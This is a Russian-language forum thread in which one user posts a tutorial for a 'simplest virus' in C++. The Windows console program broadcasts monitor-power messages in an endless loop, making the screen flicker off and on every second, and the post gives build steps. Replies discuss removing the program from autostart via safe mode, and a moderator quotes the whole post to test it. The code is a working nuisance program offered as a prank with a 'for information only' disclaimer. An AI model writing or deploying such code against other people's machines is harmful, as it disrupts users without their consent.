Пишем простейший вирус на с++

  • Гость, группы пользователей ещё в процессе настройки, поэтому многие функции пока что недоступны. Приносим свои извинения за возможные неудобства.

Wrong

Holy
10 Мар 2020
15
22
40
Информация представлена для ознакомления. Автор не несет ответственности за использование материала.
Большинство людей считают, что с++ - очень слишком сложно и ввиду этого отказываются от его использования. Они действительно правы, однако знание этого языка необходимы любому ИБ-специалисту. Чтож, не будем тянуть кота за яхвост и начнем.
Нам понадобится visual studio 2017. Создаем новое консольное приложение на visual c++. Назвать можно как угодно, значения не имеет.
В коде программы вставляем следующие строки:
C++:
#include "stdafx.h"
#include <Windows.h>
int main()
{
    while( 1 )
    {
        SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
        Sleep(1000);
        SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
        Sleep(1000);
    }
    return 0
}
Что же делает наш вирус? В бесконечном цикле выключает и включает монитор, фактически заставляет его ненормально мерцать. Для управления интервалом мерцания измените значения внутри функций Sleep. Обратите внимание, что значения указываются в милисекундах, т. е. в моем примере оно равно 1 секунде.
Готово! Можем собирать Release версию с win32 для x86 архитектуры.(конкретно у меня успешно собралось с такими параметрами, другие не тестил).
В обозревателе решений нажимаем на имя проекта и в выпадающем меню кликаем на "открыть папку в проводнике". В каталоге Release должен быть .ехе
Можем тестировать
 

Wolf

Администратор
Команда форума
3 Апр 2019
174
74
34
Перезагрузив компьютер. А если в атозагрузке эта штучка, то тут уже попотеть придется
Если в автозагрузке висит, можно через безопасный режим в командной строке отключить.
 
  • Лайк
Реакции: Zero Two и Wrong

Janzzzen

Модератор
Команда форума
5 Мар 2020
27
30
10
Информация представлена для ознакомления. Автор не несет ответственности за использование материала.
Большинство людей считают, что с++ - очень слишком сложно и ввиду этого отказываются от его использования. Они действительно правы, однако знание этого языка необходимы любому ИБ-специалисту. Чтож, не будем тянуть кота за яхвост и начнем.
Нам понадобится visual studio 2017. Создаем новое консольное приложение на visual c++. Назвать можно как угодно, значения не имеет.
В коде программы вставляем следующие строки:
C++:
#include "stdafx.h"
#include <Windows.h>
int main()
{
    while( 1 )
    {
        SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
        Sleep(1000);
        SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
        Sleep(1000);
    }
    return 0
}
Что же делает наш вирус? В бесконечном цикле выключает и включает монитор, фактически заставляет его ненормально мерцать. Для управления интервалом мерцания измените значения внутри функций Sleep. Обратите внимание, что значения указываются в милисекундах, т. е. в моем примере оно равно 1 секунде.
Готово! Можем собирать Release версию с win32 для x86 архитектуры.(конкретно у меня успешно собралось с такими параметрами, другие не тестил).
В обозревателе решений нажимаем на имя проекта и в выпадающем меню кликаем на "открыть папку в проводнике". В каталоге Release должен быть .ехе
Можем тестировать
Щас протестю